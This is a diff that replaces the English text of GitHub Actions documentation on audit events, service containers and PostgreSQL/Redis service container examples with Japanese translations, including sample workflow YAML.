+| `org.runner_group_created`               | セルフホストランナーグループが作成されたときにトリガーされます。 詳しい情報については、「[Organization のセルフホストランナーグループを作成する](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-organization)」を参照してください。 |
+| `org.runner_group_removed`               | セルフホストランナーグループが削除されたときにトリガーされます。 詳しい情報については「[セルフホストランナーグループの削除](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)」を参照してください。                                      |
+| `org.runner_group_updated`               | セルフホストランナーグループの設定が変更されたときにトリガーされます。 詳しい情報については「[セルフホストランナーグループのアクセスポリシーの変更](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)」を参照してください。     |
+| `org.runner_group_runners_added`         | セルフホストランナーがグループに追加されたときにトリガーされます。 詳しい情報については、「[セルフホストランナーをグループに移動する](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)」を参照してください。                              |
+| `org.runner_group_runner_removed`        | セルフホストランナーをグループから削除するのにREST APIが使われたときにトリガーされます。 詳しい情報については、「[Organization のグループからセルフホストランナーを削除する](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)」を参照してください。                                        |
 
-### Events for workflow activities
+### ワークフローアクティビティのイベント
 
 {% data reusables.actions.actions-audit-events-workflow %}
diff --git a/translations/ja-JP/content/actions/using-containerized-services/about-service-containers.md b/translations/ja-JP/content/actions/using-containerized-services/about-service-containers.md
index 5487cf23f9..fb3ed2f6d1 100644
--- a/translations/ja-JP/content/actions/using-containerized-services/about-service-containers.md
+++ b/translations/ja-JP/content/actions/using-containerized-services/about-service-containers.md
@@ -1,6 +1,6 @@
 ---
-title: About service containers
-intro: 'You can use service containers to connect databases, web services, memory caches, and other tools to your workflow.'
+title: サービスコンテナについて
+intro: サービスコンテナを使って、データベース、Webサービス、メモリキャッシュ、あるいはその他のツールをワークフローに接続できます。
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/about-service-containers
   - /actions/configuring-and-managing-workflows/about-service-containers
@@ -19,37 +19,37 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About service containers
+## サービスコンテナについて
 
-Service containers are Docker containers that provide a simple and portable way for you to host services that you might need to test or operate your application in a workflow. For example, your workflow might need to run integration tests that require access to a database and memory cache.
+サービスコンテナは、ワークフロー中でアプリケーションをテストもしくは運用するのに必要になるかもしれないサービスをホストするための、シンプルでポータブルな方法を提供するDockerコンテナです。 たとえば、ワークフローでデータベースやメモリキャッシュへのアクセスを必要とする結合テストを実行する必要があるかもしれません。
 
-You can configure service containers for each job in a workflow. {% data variables.product.prodname_dotcom %} creates a fresh Docker container for each service configured in the workflow, and destroys the service container when the job completes. Steps in a job can communicate with all service containers that are part of the same job.
+サービスコンテナは、ワークフロー中のそれぞれのジョブに対して設定できます。 {% data variables.product.prodname_dotcom %}は新しいDockerコンテナをワークフロー中で設定された各サービスに対して作成し、ジョブが完了したときにそのサービスコンテナを破棄します。 ジョブ中のステップは、同じジョブの一部であるすべてのサービスコンテナと通信できます。
 
 {% data reusables.github-actions.docker-container-os-support %}
 
-## Communicating with service containers
+## サービスコンテナとの通信
 
-You can configure jobs in a workflow to run directly on a runner machine or in a Docker container. Communication between a job and its service containers is different depending on whether a job runs directly on the runner machine or in a container.
+ワークフロー中のジョブは、直接ランナーマシン上で実行するようにも、Dockerコンテナ中で実行するようにも設定できます。 ジョブと、ジョブのサービスコンテナとの通信は、ジョブがランナーマシン上で直接実行されているか、コンテナ内で実行されているかによって異なります。
 
-### Running jobs in a container
+### コンテナ内でのジョブの実行
 
-When you run jobs in a container, {% data variables.product.prodname_dotcom %} connects service containers to the job using Docker's user-defined bridge networks. For more information, see "[Use bridge networks](https://docs.docker.com/network/bridge/)" in the Docker documentation.
+コンテナ内でジョブを実行する場合、{% data variables.product.prodname_dotcom %}はDockerのユーザー定義ブリッジネットワークを使ってサービスコンテナをジョブに接続します。 詳しい情報についてはDockerのドキュメンテーションの「[ブリッジネットワークの利用](https://docs.docker.com/network/bridge/)」を参照してください。
 
-Running the job and services in a container simplifies network access. You can access a service container using the label you configure in the workflow. The hostname of the service container is automatically mapped to the label name. For example, if you create a service container with the label `redis`, the hostname of the service container is `redis`.
+コンテナ内でジョブとサービスを実行すれば、ネットワークアクセスはシンプルになります。 サービスコンテナへは、ワークフロー中で設定したラベルを使ってアクセスできます。 サービスコンテナのホスト名は、自動的にラベル名にマップされます。 たとえば`redis`というラベルでサービスコンテナを作成したなら、そのサービスコンテナのホスト名は`redis`になります。
 
-You don't need to configure any ports for service containers. By default, all containers that are part of the same Docker network expose all ports to each other, and no ports are exposed outside of the Docker network.
+サービスコンテナでポートを設定する必要はありません。 デフォルトで、すべてのコンテナは同じDockerネットワークの一部となってお互いにすべてのポートを公開し合い、Dockerネットワークの外部へはポートは公開されません。
 
-### Running jobs on the runner machine
+### ランナーマシン上でのジョブの実行
 
-When running jobs directly on the runner machine, you can access service containers using `localhost:<port>` or `127.0.0.1:<port>`. {% data variables.product.prodname_dotcom %} configures the container network to enable communication from the service container to the Docker host.
+ジョブをランナーマシン上で直接実行する場合、サービスコンテナには`localhost:<port>`もしくは`127.0.0.1:<port>`を使ってアクセスできます。 {% data variables.product.prodname_dotcom %}は、サービスコンテナからDockerホストへの通信を可能にするよう、コンテナネットワークを設定します。
 
-When a job runs directly on a runner machine, the service running in the Docker container does not expose its ports to the job on the runner by default. You need to map ports on the service container to the Docker host. For more information, see "[Mapping Docker host and service container ports](/actions/automating-your-workflow-with-github-actions/about-service-containers#mapping-docker-host-and-service-container-ports)."
+ジョブがランナーマシン上で直接実行されている場合、Dockerコンテナ内で実行されているサービスは、ランナー上で実行しているジョブに対してデフォルトではポートを公開しません。 サービスコンテナ上のポートは、Dockerホストに対してマップする必要があります。 詳しい情報については「[Dockerホストとサービスコンテナのポートのマッピング](/actions/automating-your-workflow-with-github-actions/about-service-containers#mapping-docker-host-and-service-container-ports)」を参照してください。
 
-## Creating service containers
+## サービスコンテナの作成
 
-You can use the `services` keyword to create service containers that are part of a job in your workflow. For more information, see [`jobs.<job_id>.services`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idservices).
+`services`キーワードを使って、ワークフロー内のジョブの一部であるサービスコンテナを作成できます。 詳しい情報については[`jobs.<job_id>.services`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idservices)を参照してください。
 
-This example creates a service called `redis` in a job called `container-job`. The Docker host in this example is the `node:10.18-jessie` container.
+以下の例は、`container-job`というジョブの中に`redis`というサービスを作成します。 この例でのDockerホストは`node:10.18-jessie`コンテナです。
 
 {% raw %}
 ```yaml{:copy}
@@ -57,41 +57,41 @@ name: Redis container example
 on: push
 
 jobs:
-  # Label of the container job
+  # コンテナジョブのラベル
   container-job:
-    # Containers must run in Linux based operating systems
+    # コンテナはLinuxベースのオペレーティングシステム内で実行する
     runs-on: ubuntu-latest
-    # Docker Hub image that `container-job` executes in
+    # `container-job`が実行されるDocker Hubイメージ
     container: node:10.18-jessie
 
-    # Service containers to run with `container-job`
+    # `container-job`と実行されるサービスコンテナ
     services:
-      # Label used to access the service container
+      # サービスコンテナへのアクセスに使われるラベル
       redis:
-        # Docker Hub image
+        # Docker Hubのイメージ
         image: redis
 ```
 {% endraw %}
 
-## Mapping Docker host and service container ports
+## Dockerホストとサービスコンテナのポートのマッピング
 
-If your job runs in a Docker container, you do not need to map ports on the host or the service container. If your job runs directly on the runner machine, you'll need to map any required service container ports to ports on the host runner machine.
+ジョブがDockerコンテナ内で実行されるなら、ポートをホストあるいはサービスコンテナにマップする必要はありません。 ジョブがランナーマシン上で直接実行されるなら、必要なサービスコンテナのポートはホストランナーマシンのポートにマップしなければなりません。
 
-You can map service containers ports to the Docker host using the `ports` keyword. For more information, see [`jobs.<job_id>.services`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idservices).
+サービスコンテナのポートは、`ports`キーワードを使ってDockerホストにマップできます。 詳しい情報については[`jobs.<job_id>.services`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idservices)を参照してください。
 
-| Value of `ports` |	Description |
-|------------------|--------------|
-| `8080:80` |	Maps TCP port 80 in the container to port 8080 on the Docker host. |
-| `8080:80/udp` |	Maps UDP port 80 in the container to port 8080 on the Docker host. |
-| `8080/udp`	| Map a randomly chosen UDP port in the container to UDP port 8080 on the Docker host. |
+| `ports`の値     | 説明                                                |
+| ------------- | ------------------------------------------------- |
+| `8080:80`     | コンテナのTCPのポート80をDockerホストのポート8080にマップします。          |
+| `8080:80/udp` | コンテナのUDPポート80をDockerホストのポート8080にマップします。           |
+| `8080/udp`    | コンテナでランダムに選択したUDPポートをDockerホストのUDPポート8080にマップします。 |
 
-When you map ports using the `ports` keyword, {% data variables.product.prodname_dotcom %} uses the `--publish` command to publish the container’s ports to the Docker host. For more information, see "[Docker container networking](https://docs.docker.com/config/containers/container-networking/)" in the Docker documentation.
+`ports`キーワードを使ってポートをマップする場合、{% data variables.product.prodname_dotcom %}は`--publish`コマンドを使ってコンテナのポートをDockerホストに公開します。 詳しい情報についてはDockerのドキュメンテーションの「[Dockerコンテナのネットワーキング](https://docs.docker.com/config/containers/container-networking/)」を参照してください。
 
-When you specify the Docker host port but not the container port, the container port is randomly assigned to a free port. {% data variables.product.prodname_dotcom %} sets the assigned container port in the service container context. For example, for a `redis` service container, if you configured the Docker host port 5432, you can access the corresponding container port using the `job.services.redis.ports[5432]` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#job-context)."
+Dockerホストのポートを指定して、コンテナのポートを指定しなかった場合、コンテナのポートは空いているポートにランダムに割り当てられます。 {% data variables.product.prodname_dotcom %}は割り当てられたコンテナのポートをサービスコンテナのコンテキストに設定します。 たとえば`redis`サービスコンテナに対し、Dockerホストのポート5432を設定したなら、対応するコンテナのポートには`job.services.redis.ports[5432]`コンテキストを使ってアクセスできます。 詳細については、「[コンテキスト](/actions/learn-github-actions/contexts#job-context)」を参照してください。
 
-### Example mapping Redis ports
+### Redisのポートのマッピングの例
 
-This example maps the service container `redis` port 6379 to the Docker host port 6379.
+以下の例は、サービスコンテナ`redis`のポート6379を、Dockerホストのポート6379にマップします。
 
 {% raw %}
 ```yaml{:copy}
@@ -99,25 +99,25 @@ name: Redis Service Example
 on: push
 
 jobs:
-  # Label of the container job
+  # コンテナジョブのラベル
   runner-job:
-    # You must use a Linux environment when using service containers or container jobs
+    # サービスコンテナもしくはコンテナジョブの利用の際はLinux環境を使わなければならない
     runs-on: ubuntu-latest
 
-    # Service containers to run with `runner-job`
+    # `runner-job`と実行するサービスコンテナ
     services:
-      # Label used to access the service container
+      # サービスコンテナへのアクセスに使われるラベル
       redis:
-        # Docker Hub image
+        # Docker Hubイメージ
         image: redis
         #
         ports:
-          # Opens tcp port 6379 on the host and service container
+          # ホストとサービスコンテナのTCPポート6379をオープンする
           - 6379:6379
 ```
 {% endraw %}
 
-## Further reading
+## 参考リンク
 
-- "[Creating Redis service containers](/actions/automating-your-workflow-with-github-actions/creating-redis-service-containers)"
-- "[Creating PostgreSQL service containers](/actions/automating-your-workflow-with-github-actions/creating-postgresql-service-containers)"
+- [Redisサービスコンテナの作成](/actions/automating-your-workflow-with-github-actions/creating-redis-service-containers)
+- [PostgreSQLサービスコンテナの作成](/actions/automating-your-workflow-with-github-actions/creating-postgresql-service-containers)
diff --git a/translations/ja-JP/content/actions/using-containerized-services/creating-postgresql-service-containers.md b/translations/ja-JP/content/actions/using-containerized-services/creating-postgresql-service-containers.md
index 645a542e6d..db650cbe9c 100644
--- a/translations/ja-JP/content/actions/using-containerized-services/creating-postgresql-service-containers.md
+++ b/translations/ja-JP/content/actions/using-containerized-services/creating-postgresql-service-containers.md
@@ -1,7 +1,7 @@
 ---
-title: Creating PostgreSQL service containers
-shortTitle: PostgreSQL service containers
-intro: You can create a PostgreSQL service container to use in your workflow. This guide shows examples of creating a PostgreSQL service for jobs that run in containers or directly on the runner machine.
+title: PostgreSQLサービスコンテナの作成
+shortTitle: PostgreSQL サービス コンテナ
+intro: ワークフローで利用するPostgreSQLサービスコンテナを作成できます。 このガイドでは、コンテナで実行されるジョブか、ランナーマシン上で直接実行されるジョブのためのPostgreSQLサービスの作成例を紹介します。
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/creating-postgresql-service-containers
   - /actions/configuring-and-managing-workflows/creating-postgresql-service-containers
@@ -20,22 +20,22 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
-This guide shows you workflow examples that configure a service container using the Docker Hub `postgres` image. The workflow runs a script that connects to the PostgreSQL service, creates a table, and then populates it with data. To test that the workflow creates and populates the PostgreSQL table, the script prints the data from the table to the console.
+このガイドでは、Docker Hubの`postgres`イメージを使ってサービスコンテナを設定するワークフローの例を紹介します。 ワークフローの実行スクリプトは、PostgreSQL サービスに接続し、テーブルを作成してから、データを入力します。 ワークフローが PostgreSQL テーブルを作成してデータを入力することをテストするために、スクリプトはテーブルからコンソールにデータを出力します。
 
 {% data reusables.github-actions.docker-container-os-support %}
 
-## Prerequisites
+## 必要な環境
 
 {% data reusables.github-actions.service-container-prereqs %}
 
-You may also find it helpful to have a basic understanding of YAML, the syntax for {% data variables.product.prodname_actions %}, and PostgreSQL. For more information, see:
+YAML、{% data variables.product.prodname_actions %}の構文、PosgreSQLの基本な理解があれば役立つかも知れません。 詳しい情報については、以下を参照してください。
 
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
-- "[PostgreSQL tutorial](https://www.postgresqltutorial.com/)" in the PostgreSQL documentation
+- 「[{% data variables.product.prodname_actions %} を学ぶ](/actions/learn-github-actions)」
+- PostgreSQLのドキュメンテーション中の[PostgreSQLチュートリアル](https://www.postgresqltutorial.com/)
 
-## Running jobs in containers
+## コンテナ内でのジョブの実行
 
 {% data reusables.github-actions.container-jobs-intro %}
 
@@ -47,23 +47,23 @@ name: PostgreSQL service example
 on: push
 
 jobs:
-  # Label of the container job
+  # コンテナジョブのラベル
   container-job:
-    # Containers must run in Linux based operating systems
+    # コンテナは Linux ベースのオペレーティングシステムで実行しなければならない
     runs-on: ubuntu-latest
-    # Docker Hub image that `container-job` executes in
+    # `container-job` が実行される Docker Hub イメージ
     container: node:10.18-jessie
 
-    # Service containers to run with `container-job`
+    # `container-job` で実行するサービスコンテナ
     services:
-      # Label used to access the service container
+      # サービスコンテナへのアクセスに使用されるラベル
       postgres:
-        # Docker Hub image
+        # Docker Hub のイメージ
         image: postgres
-        # Provide the password for postgres
+        # postgres のパスワードを入力する
         env:
           POSTGRES_PASSWORD: postgres
-        # Set health checks to wait until postgres has started
+        # postgres が起動するまで待機するようにヘルスチェックを設定する
         options: >-
           --health-cmd pg_isready
           --health-interval 10s
@@ -71,29 +71,29 @@ jobs:
           --health-retries 5
 
     steps:
-      # Downloads a copy of the code in your repository before running CI tests
+      # CI テストを実行する前に、リポジトリにコードのコピーをダウンロードする
       - name: Check out repository code
         uses: actions/checkout@v2
 
-      # Performs a clean installation of all dependencies in the `package.json` file
-      # For more information, see https://docs.npmjs.com/cli/ci.html
+      # `package.json` ファイル内のすべての依存関係のクリーンインストールを実行する
+      # 詳しい情報については https://docs.npmjs.com/cli/ci.html を参照
       - name: Install dependencies
         run: npm ci
 
       - name: Connect to PostgreSQL
-        # Runs a script that creates a PostgreSQL table, populates
-        # the table with data, and then retrieves the data.
+        # PostgreSQLテーブルを作成し、テーブルにデータを入力してから
+        # データを取得するスクリプトを実行する。
         run: node client.js
-        # Environment variables used by the `client.js` script to create a new PostgreSQL table.
+        # `client.js` スクリプトが新しいPostgreSQLクライアントの作成に使う環境変数。
         env:
-          # The hostname used to communicate with the PostgreSQL service container
+          # PostgreSQLサービスコンテナとの通信に使われるホスト名
           POSTGRES_HOST: postgres
-          # The default PostgreSQL port
+          # デフォルトのPostgreSQLポート
           POSTGRES_PORT: 5432
 ```
 {% endraw %}
 
-### Configuring the runner job
+### ランナージョブの設定
 
 {% data reusables.github-actions.service-container-host %}
 
@@ -101,23 +101,23 @@ jobs:
 
 ```yaml{:copy}
 jobs:
-  # Label of the container job
+  # コンテナジョブのラベル
   container-job:
-    # Containers must run in Linux based operating systems
+    # コンテナはLinuxベースのオペレーティングシステム内で実行しなければならない
     runs-on: ubuntu-latest
-    # Docker Hub image that `container-job` executes in
+    # `container-job`が実行されるDocker Hubのイメージ
     container: node:10.18-jessie
 
-    # Service containers to run with `container-job`
+    # `container-job`と実行されるサービスコンテナ
     services:
-      # Label used to access the service container
+      # サービスコンテナへのアクセスに使われるラベル
       postgres:
-        # Docker Hub image
+        # Docker Hubのイメージ
         image: postgres
-        # Provide the password for postgres
+        # postgresのパスワードを提供
         env:
           POSTGRES_PASSWORD: postgres
-        # Set health checks to wait until postgres has started
+        # postgresが起動するまで待つヘルスチェックの設定
         options: >-
           --health-cmd pg_isready
           --health-interval 10s
@@ -125,41 +125,41 @@ jobs:
           --health-retries 5
 ```
 
-### Configuring the steps
+### ステップの設定
 
 {% data reusables.github-actions.service-template-steps %}
 
 ```yaml{:copy}
 steps:
-  # Downloads a copy of the code in your repository before running CI tests
+  # CI テストを実行する前に、リポジトリにコードのコピーをダウンロードする
   - name: Check out repository code
     uses: actions/checkout@v2
 
-  # Performs a clean installation of all dependencies in the `package.json` file
-  # For more information, see https://docs.npmjs.com/cli/ci.html
+  # `package.json` ファイル内のすべての依存関係のクリーンインストールを実行する
+  # 詳しい情報については https://docs.npmjs.com/cli/ci.html を参照する
   - name: Install dependencies
     run: npm ci
 
   - name: Connect to PostgreSQL
-    # Runs a script that creates a PostgreSQL table, populates
-    # the table with data, and then retrieves the data.
+    # PostgreSQL テーブルを作成し、テーブルにデータを入力してから
+    # データを取得するスクリプトを実行する。
     run: node client.js
-    # Environment variable used by the `client.js` script to create
-    # a new PostgreSQL client.
+    # 新しい PostgreSQL クライアントを作成するために
+    # `client.js` スクリプトによって使用される環境変数。
     env:
-      # The hostname used to communicate with the PostgreSQL service container
+      # PostgreSQLサービスコンテナとの通信に使われるホスト名
       POSTGRES_HOST: postgres
-      # The default PostgreSQL port
+      # デフォルトのPostgreSQLポート
       POSTGRES_PORT: 5432
 ```
 
 {% data reusables.github-actions.postgres-environment-variables %}
 
-The hostname of the PostgreSQL service is the label you configured in your workflow, in this case, `postgres`. Because Docker containers on the same user-defined bridge network open all ports by default, you'll be able to access the service container on the default PostgreSQL port 5432.
+PostgreSQLサービスのホスト名は、ワークフロー中で設定されたラベルで、ここでは`postgres`です。 同じユーザー定義ブリッジネットワーク上のDockerコンテナは、デフォルトですべてのポートをオープンするので、サービスコンテナにはデフォルトのPostgreSQLのポートである5432でアクセスできます。
 
-## Running jobs directly on the runner machine
+## ランナーマシン上で直接のジョブの実行
 
-When you run a job directly on the runner machine, you'll need to map the ports on the service container to ports on the Docker host. You can access service containers from the Docker host using `localhost` and the Docker host port number.
+ランナーマシン上で直接ジョブを実行する場合、サービスコンテナ上のポートをDockerホスト上のポートにマップしなければなりません。 Dockerホストからサービスコンテナへは、`localhost`とDockerホストのポート番号を使ってアクセスできます。
 
 {% data reusables.github-actions.copy-workflow-file %}
 
@@ -169,114 +169,114 @@ name: PostgreSQL Service Example
 on: push
 
 jobs:
-  # Label of the runner job
+  # ランナージョブのラベル
   runner-job:
-    # You must use a Linux environment when using service containers or container jobs
+    # サービスコンテナまたはコンテナジョブを使用する場合は Linux 環境を使用する必要がある
     runs-on: ubuntu-latest
 
-    # Service containers to run with `runner-job`
+    # `runner-job` で実行されるサービスコンテナ
     services:
-      # Label used to access the service container
+      # サービスコンテナへのアクセスに使用されるラベル
       postgres:
-        # Docker Hub image
+        # Docker Hub イメージ
         image: postgres
-        # Provide the password for postgres
+        # postgres のパスワードを入力する
         env:
           POSTGRES_PASSWORD: postgres
-        # Set health checks to wait until postgres has started
+        # postgres が起動するまで待機するようにヘルスチェックを設定する
         options: >-
           --health-cmd pg_isready
           --health-interval 10s
           --health-timeout 5s
           --health-retries 5
         ports:
-          # Maps tcp port 5432 on service container to the host
+          # サービスコンテナの tcp ポート 5432 をホストにマップする
           - 5432:5432
 
     steps:
-      # Downloads a copy of the code in your repository before running CI tests
+      # CI テストを実行する前に、リポジトリにコードのコピーをダウンロードする
       - name: Check out repository code
         uses: actions/checkout@v2
 
-      # Performs a clean installation of all dependencies in the `package.json` file
-      # For more information, see https://docs.npmjs.com/cli/ci.html
+      # `package.json` ファイル内のすべての依存関係のクリーンインストールを実行する
+      # 詳しい情報については https://docs.npmjs.com/cli/ci.html を参照する
       - name: Install dependencies
         run: npm ci
 
       - name: Connect to PostgreSQL
-        # Runs a script that creates a PostgreSQL table, populates
-        # the table with data, and then retrieves the data
+        # PostgreSQLテーブルを作成し、テーブルにデータを入力してから
+        # データを取得するスクリプトを実行する
         run: node client.js
-        # Environment variables used by the `client.js` script to create
-        # a new PostgreSQL table.
+        # `client.js` スクリプトが新しいPostgreSQLクライアントの
+        # 作成に使う環境変数
         env:
-          # The hostname used to communicate with the PostgreSQL service container
+          # PostgreSQLサービスコンテナとの通信に使われるホスト名
           POSTGRES_HOST: localhost
-          # The default PostgreSQL port
+          # デフォルトのPostgreSQLポート
           POSTGRES_PORT: 5432
 ```
 {% endraw %}
 
-### Configuring the runner job
+### ランナージョブの設定
 
 {% data reusables.github-actions.service-container-host-runner %}
 
 {% data reusables.github-actions.postgres-label-description %}
 
-The workflow maps port 5432 on the PostgreSQL service container to the Docker host. For more information about the `ports` keyword, see "[About service containers](/actions/automating-your-workflow-with-github-actions/about-service-containers#mapping-docker-host-and-service-container-ports)."
+このワークフローはPostgreSQLサービスコンテナ上のポート5432をDockerホストにマップします。 `ports`キーワードに関する詳しい情報については「[サービスコンテナについて](/actions/automating-your-workflow-with-github-actions/about-service-containers#mapping-docker-host-and-service-container-ports)」を参照してください。
 
 ```yaml{:copy}
 jobs:
-  # Label of the runner job
+  # ランナージョブのラベル
   runner-job:
-    # You must use a Linux environment when using service containers or container jobs
+    # サービスコンテナもしくはコンテナジョブを使う場合にはLinux環境を使わなければならない
     runs-on: ubuntu-latest
 
-    # Service containers to run with `runner-job`
+    # `runner-job`と実行されるサービスコンテナ
     services:
-      # Label used to access the service container
+      # サービスコンテナへのアクセスに使われるラベル
       postgres:
-        # Docker Hub image
+        # Docker Hubのイメージ
         image: postgres
-        # Provide the password for postgres
+        # postgresにパスワードを提供
         env:
           POSTGRES_PASSWORD: postgres
-        # Set health checks to wait until postgres has started
+        # postgresが起動するまで待つヘルスチェックの設定
         options: >-
           --health-cmd pg_isready
           --health-interval 10s
           --health-timeout 5s
           --health-retries 5
         ports:
-          # Maps tcp port 5432 on service container to the host
+          # サービスコンテナ上のTCPポート5432をホストにマップ
           - 5432:5432
 ```
 
-### Configuring the steps
+### ステップの設定
 
 {% data reusables.github-actions.service-template-steps %}
 
 ```yaml{:copy}
 steps:
-  # Downloads a copy of the code in your repository before running CI tests
+  # CI テストを実行する前に、リポジトリにコードのコピーをダウンロードする
   - name: Check out repository code
     uses: actions/checkout@v2
 
-  # Performs a clean installation of all dependencies in the `package.json` file
-  # For more information, see https://docs.npmjs.com/cli/ci.html
+  # `package.json` ファイル内のすべての依存関係のクリーンインストールを実行する
+  # 詳しい情報については https://docs.npmjs.com/cli/ci.html を参照する
   - name: Install dependencies
     run: npm ci
 
   - name: Connect to PostgreSQL
-    # Runs a script that creates a PostgreSQL table, populates
-    # the table with data, and then retrieves the data
+    # PostgreSQL テーブルを作成し、テーブルにデータを入力してから
+    # データを取得するスクリプトを実行する
     run: node client.js
-    # Environment variables used by the `client.js` script to create
-    # a new PostgreSQL table.
+    # `client.js` スクリプトが新しいPostgreSQLクライアントの
+    # 作成に使う環境変数
     env:
-      # The hostname used to communicate with the PostgreSQL service container
+      # PostgreSQLサービスコンテナとの通信に使われるホスト名
       POSTGRES_HOST: localhost
-      # The default PostgreSQL port
+      # デフォルトのPostgreSQLポート
       POSTGRES_PORT: 5432
 ```
 
@@ -284,11 +284,11 @@ steps:
 
 {% data reusables.github-actions.service-container-localhost %}
 
-## Testing the PostgreSQL service container
+## PostgreSQLサービスコンテナのテスト
 
-You can test your workflow using the following script, which connects to the PostgreSQL service and adds a new table with some placeholder data. The script then prints the values stored in the PostgreSQL table to the terminal. Your script can use any language you'd like, but this example uses Node.js and the `pg` npm module. For more information, see the [npm pg module](https://www.npmjs.com/package/pg).
+次のスクリプトを使用してワークフローをテストできます。このスクリプトは、PostgreSQL サービスに接続し、プレースホルダーデータを含む新しいテーブルを追加します。 そしてそのスクリプトは PostgreSQL テーブルに保存されている値をターミナルに出力します。 スクリプトには好きな言語を使えますが、この例ではNode.jsとnpmモジュールの`pg`を使っています。 詳しい情報については[npm pgモジュール](https://www.npmjs.com/package/pg)を参照してください。
 
-You can modify *client.js* to include any PostgreSQL operations needed by your workflow. In this example, the script connects to the PostgreSQL service, adds a table to the `postgres` database, inserts some placeholder data, and then retrieves the data.
+*client.js*を修正して、ワークフローで必要なPostgreSQLの操作を含めることができます。 この例では、スクリプトは PostgreSQL サービスに接続し、`postgres` データベースにテーブルを追加し、プレースホルダーデータを挿入してから、データを取得します。
 
 {% data reusables.github-actions.service-container-add-script %}
 
@@ -324,11 +324,11 @@ pgclient.query('SELECT * FROM student', (err, res) => {
 });
 ```
 
-The script creates a new connection to the PostgreSQL service, and uses the `POSTGRES_HOST` and `POSTGRES_PORT` environment variables to specify the PostgreSQL service IP address and port. If `host` and `port` are not defined, the default host is `localhost` and the default port is 5432.
+このスクリプトは、PostgreSQL サービスへの新しい接続を作成し、`POSTGRES_HOST` および `POSTGRES_PORT` 環境変数を使用して PostgreSQL サービスの IP アドレスとポートを指定します。 `host`と`port`が定義されていない場合、デフォルトのホストは`localhost`で、デフォルトのポートは5432になります。
 
-The script creates a table and populates it with placeholder data. To test that the `postgres` database contains the data, the script prints the contents of the table to the console log.
+スクリプトはテーブルを作成し、そのテーブルにプレースホルダーデータを展開します。 `postgres` データベースにデータが含まれていることをテストするために、スクリプトはテーブルの内容をコンソールログに出力します。
 
-When you run this workflow, you should see the following output in the "Connect to PostgreSQL" step, which confirms that you successfully created the PostgreSQL table and added data:
+このワークフローを実行すると、「PostgreSQL への接続」ステップに次の出力が表示されます。これにより、PostgreSQL テーブルが正常に作成されてデータが追加されたことを確認できます。
 
 ```
 null [ { id: 1,
diff --git a/translations/ja-JP/content/actions/using-containerized-services/creating-redis-service-containers.md b/translations/ja-JP/content/actions/using-containerized-services/creating-redis-service-containers.md
index 2b9ed40122..2689b71bab 100644
--- a/translations/ja-JP/content/actions/using-containerized-services/creating-redis-service-containers.md
+++ b/translations/ja-JP/content/actions/using-containerized-services/creating-redis-service-containers.md
@@ -1,7 +1,7 @@
 ---
-title: Creating Redis service containers
-shortTitle: Redis service containers
-intro: You can use service containers to create a Redis client in your workflow. This guide shows examples of creating a Redis service for jobs that run in containers or directly on the runner machine.
+title: Redisサービスコンテナの作成
+shortTitle: Redis サービス コンテナ
+intro: サービスコンテナを使って、ワークフロー中でRedisのクライアントを作成できます。 このガイドでは、コンテナで実行されるジョブか、ランナーマシン上で直接実行されるジョブのためのRedisサービスの作成例を紹介します。
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/creating-redis-service-containers
   - /actions/configuring-and-managing-workflows/creating-redis-service-containers
@@ -20,22 +20,22 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
-This guide shows you workflow examples that configure a service container using the Docker Hub `redis` image. The workflow runs a script to create a Redis client and populate the client with data. To test that the workflow creates and populates the Redis client, the script prints the client's data to the console.
+このガイドでは、Docker Hubの`redis`イメージを使ってサービスコンテナを設定するワークフローの例を紹介します。 このワークフローは、Redisのクライアントを作成してクライアントにデータを展開するスクリプトを実行します。 Redisクライアントを作成して展開するワークフローをテストするために、このスクリプトはクライアントのデータをコンソールに出力します。
 
 {% data reusables.github-actions.docker-container-os-support %}
 
-## Prerequisites
+## 必要な環境
 
 {% data reusables.github-actions.service-container-prereqs %}
 
-You may also find it helpful to have a basic understanding of YAML, the syntax for {% data variables.product.prodname_actions %}, and Redis. For more information, see:
+YAML、{% data variables.product.prodname_actions %}の構文、Redisの基本な理解があれば役立つかも知れません。 詳しい情報については、以下を参照してください。
 
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
-- "[Getting Started with Redis](https://redislabs.com/get-started-with-redis/)" in the Redis documentation
+- 「[{% data variables.product.prodname_actions %} を学ぶ](/actions/learn-github-actions)」
+- Redisのドキュメンテーション中の[Getting Started with Redis](https://redislabs.com/get-started-with-redis/)
 
-## Running jobs in containers
+## コンテナ内でのジョブの実行
 
 {% data reusables.github-actions.container-jobs-intro %}
 
@@ -47,20 +47,20 @@ name: Redis container example
 on: push
 
 jobs:
-  # Label of the container job
+  # コンテナジョブのラベル
   container-job:
-    # Containers must run in Linux based operating systems
+    # コンテナはLinuxベースのオペレーティングシステム内で実行しなければならない
     runs-on: ubuntu-latest
-    # Docker Hub image that `container-job` executes in
+    # `container-job`が実行されるDocker Hubのイメージ
     container: node:10.18-jessie
 
-    # Service containers to run with `container-job`
+    # `container-job`と実行されるサービスコンテナ
     services:
-      # Label used to access the service container
+      # サービスコンテナへのアクセスに使われるラベル
       redis:
-        # Docker Hub image
+        # Docker Hubのイメージ
         image: redis
